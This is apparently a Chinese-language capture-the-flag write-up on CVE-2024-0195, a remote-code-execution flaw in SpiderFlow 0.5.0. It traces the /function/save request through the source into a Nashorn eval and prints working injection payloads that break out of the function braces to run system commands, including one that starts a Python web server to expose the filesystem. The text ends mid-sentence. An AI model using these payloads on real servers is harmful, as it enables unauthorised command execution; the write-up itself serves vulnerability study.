CVE-2024-0195
https://yunjing.ichunqiu.com/cve/detail/1114
1
| SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器
|
按照介绍访问/function/save界面,发现是一连串的java报错
在html中寻找,自定义函数-添加函数这里,会发送/function/save这个请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| layui.form.on('submit(save)',function(){ $.ajax({ url : 'function/save', type : 'post', data : { id : fId, name : $("input[name=name]").val(), parameter : $("input[name=parameter]").val(), script : editor.getValue() }, success : function(data){ if(data){ var message = data.replace(/\n/g,'<br>').replace(/ /g,' ').replace(/\t/g,' '); layui.layer.alert('<div style="font-weight: bold;font-family:Consolas;font-size:12px;">' + message + '</div>',{title : '保存出错',area:['800px','400px']}); }else{ layui.layer.msg('保存成功',{ time : 800 },function(){ location.href = 'functions.html'; }) } }, error : function(){ layui.layer.msg('请求失败'); } }) return false; }
|
从js代码可知,post过去的三个参数,name,parameter,script三个参数就是添加函数这个界面里自定义的三个参数
但是不知道这些东西发过去会被如何使用,好在这个SpiderFlow是开源的,并且停更前最后一版的版本就是靶机使用的0.5.0:https://github.com/ssssssss-team/spider-flow
直接在库里search哪里处理这个请求,在FunctionController.java
里:
1 2 3 4 5 6 7 8 9 10 11 12
| @RestController @RequestMapping("/function") public class FunctionController { @Autowired private FunctionService functionService; ... @RequestMapping("/save") public String save(Function function){ return functionService.saveFunction(function); } ... }
|
说是这个请求会调用saveFunction处理(Function对象包含上传的name,parameter,script三个参数)
1 2 3 4 5 6 7 8 9 10 11 12
| public String saveFunction(Function entity) { try { ScriptManager.validScript(entity.getName(), entity.getParameter(),entity.getScript()); super.saveOrUpdate(entity); init(); return null; } catch (Exception e) { logger.error("保存自定义函数出错",e); return ExceptionUtils.getStackTrace(e); } }
|
validScript:
1 2 3 4
| public static void validScript(String functionName,String parameters,String script) throws Exception { new ScriptEngineManager().getEngineByName("nashorn"). eval(concatScript(functionName,parameters,script)); }
|
通过eval函数,把三个参数通过concatScript连接成js代码,然后用eval执行
concatScript会自动将script作为一段函数内的代码,在其前后添加{}
比如输入一个},会报错:
从这里可以看到最终拼接的js代码的形式,而如果代码放在函数里是执行不了的,所以可以通过}{
来搞一段函数外的代码
1
| }Java.type('java.lang.Runtime').getRuntime().exec('ls');{
|
然后试了一下,直接保存成功,没有任何回显
从最前面的js代码可以看到
1 2 3 4 5 6 7 8 9
| success : function(data){ if(data){... }else{ layui.layer.msg('保存成功',{ time : 800 },function(){ location.href = 'functions.html'; }) }
|
如果保存成功,是不会传回来任何data的,也就是说虽然有了执行任意命令的权限,但是没法回显
这种时候最应该想到的方法,就是反弹一个shell到自己的机器上,这也是网上能找到的题解大多数的做法,但是我没有公网ip😶🌫️
公网ip比租一会云服务器贵多了😶🌫️
最终是通过开一个python的http服务,然后没有index.html时,就会自动显示文件系统
1
| }Java.type('java.lang.Runtime').getRuntime().exec('python3 -m http.server 80');{
|
端口似乎还选不了别的,应该是其他端口会被屏蔽,